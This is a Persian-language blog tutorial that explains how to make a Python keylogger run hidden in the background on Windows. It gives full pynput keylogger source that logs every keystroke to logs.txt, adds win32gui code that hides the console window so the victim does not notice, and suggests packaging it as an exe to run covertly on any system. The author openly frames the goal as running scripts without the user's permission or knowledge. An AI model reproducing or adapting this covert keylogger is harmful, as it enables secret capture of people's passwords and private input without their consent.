-
سه شنبه, ۴ شهریور ۱۳۹۹، ۱۱:۰۵ ق.ظ
-
۳۱۱۹
چگونه در پایتون اسکریپتی بنویسیم که به طور مخفیانه در پس زمینه اجرا شود ؟
درود به همه !
در نوشتن ابزار های امنیتی با پایتون ، یکی از مهمترین و داغ ترین مطالب این است که ما بتوانیم اسکریپت هایی بنویسیم که بدونه اجازه کاربر روی سیستم اجرا شود . همچنین در خیلی از مواقع نیاز داریم تا کاربر متوجه اجرای اسکریپت روی سیستم خودش نشود . در پست آموزشی امروز یادمیگریم چگونه با اضافه کردن چند خط کد ساده به اسکریپت هایمان باعث بشیم تا اونا در پست زمینه به طور مخفیانه اجرا شوند .
نکته : این روش مخفی سازی در ویندوز تست شده و کار میدهد . روش اجرای مخفی اسکریپت ها در لینوکس متفاوت است .
اما بگذارید بگوییم چگونه قرار است اسکریپتمان را مخفی کنیم . فرض کنید ما یه کیلاگر خیلی ساده نوشتیم . در پست آموزش ساخت ساده ترین کیلاگر در پایتون به طور کامل ساخت این کیلاگر را توضیح دادیم . پیشنهاد میکنم یک دور پست معرفی شده رو بخونید و سپس بیاید این پست رو بخونید .
سورس کیلاگر سادمون اینطوری بود :
from pynput.keyboard import Listener
def keypress(Key): f = open("logs.txt","a") f.write(str(Key) + "\n") f.close()
listener = Listener(on_press = keypress) listener.start() while True: pass
خب کار این اسکریپت این بود که هر کلیدی که زده میشد رو مینوشت داخل یه فایلی به نام logs.txt . (توضیح خط به خط اسکریپت ، در پست آموزش ساخت کیلاگر مبتدی موجود هستش)
مشکلی که این اسکریپت داره اینه که وقتی اجرا میشه و شروع به ضبط کردن کلید های کاربر میکنه ، یه پنجره ی سیاه رنگ(console) در صفحه نشون داده میشه . مثل تصویر زیر :
خب این معلومه که کاربر بهش شک میکنه و سریع اونو میبنده . پس اینطوری بدرد نمیخوره . امروز همین اسکریپت رو میخوایم کاری کنیم تا دیگه یه صفحه سیاه رنگ روی مانیتور نشون نده و در پس زمینه به طور مخفیانه اجرا بشه وکلید ها رو ضبط کنه .
برای اینکار ما با استفاده از دو کتابخونه ی win32con و win32gui چند خط کد به سورس کیلاگرمون اضافه میکنیم که باعث میشه کیلاگرمون به طور مخفیانه در پس زمینه اجرا بشه ! به همین راحتی !.
شما میتونید این چند خط کدی که باعث میشه اسکریپت به صورت مخفیانه در پس زمینه اجرا بشه رو به هر سورس دلخواه دیگری اضافه کنید تا اون سورس به طور مخفی اجرا بشه . حتی میتونید بعد از نوشتن سورس اونو به فرمت فایل اجرایی (exe) تبدیل کنید. اینطوری یه اسکریپت قابل اجرا روی هرسیستمی دارید که به طور مخفیانه در پس زمینه ی اون سیستم اجرا میشه .
اما بریم سراغ سورس کد .
سورس کد تغییر یافته کیلاگر بالا به صورت زیر خواهد بود :
from pynput.keyboard import Listener
from win32con import SW_HIDE # NEW
import win32gui # NEW
def hidden():
pid = win32gui.GetForegroundWindow() # NEW
win32gui.ShowWindow(pid , SW_HIDE) # NEW
def keypress(Key):
f = open("logs.txt","a")
f.write(str(Key) + "\n")
f.close()
listener = Listener(on_press = keypress)
listener.start()
hidden() # NEW
while True:
pass
خب خطوطی که به تازگی اضافه شدن رو با کامنت NEW # مشخص کردیم . فقط خطوط جدید رو توضیح میدیم . خب در اول اسکریپت که ماژول های مورد نیاز رو ایمپورت کردیم . سپس یه تابع تعریف کردیم به نام hidden . درون این تابع دو خط کد نوشتیم . وقتی این تابع فراخونی میشه باعث میشه تا اسکریپت ما مخفی بشه . اما بریم کد های داخلش رو توضیح بدیم . در خط اول با استفاده از تابع win32gui.GetForegroundWindows اومدیم pid اسکریپت در حال اجرامون رو گرفتیم و ریختیم داخل متغییر pid (شماره ای که سیستم عامل به اسکریپت در حال اجرامون داده) . سپس در خط بعد با استفاده از تابع win32gui.ShowWindow اومدیم اسکریپتمون رو مخفی کردیم . این تابع دوتا ورودی میگیره . ورودی اول شماره پروسه ای هستش که میخوایم حالت اجراش رو تغییر بدیم که ما pid رو بهش دادیم (یعنی اسکریپت خودمون) . سپس ورودی دوم حالت اجرای اسکریپت هستش . ما گفتیم SW_HIDE یعنی مخفی بشه .
سپس در خطوط آخر برنامه قبل از حلقه ی while اومدیم تابع hidden رو فراخونی کردیم تا برنامه مخفی بشه .
حالا وقتی اسکریپت رو اجرا میکنیم هیچ صفحه ی سیاه رنگی به ما نشون داده نمیشه و اسکریپت در پس زمینه اجرا میشه و کارش رو انجام میده .
در GIF زیر میبینید که من اسکریپت رو اجرا میکنم ولی هیچ صفحه ای نمایش داده نمیشود و به طور مخفیانه اجرا میشود . همچنین در آخر ویدیو میبینیم که کلید های زده شده رو در فایل logs.txt ذخیره کرده است .(روی لینک کلیک کنید)
برای بستن اسکریپت کافی است مانند ویدیو زیر task manager ویندوز رو باز کنیم و اسکریپت رو kill کنیم :
یاحق !
Telegram Channel : @mrpythonblog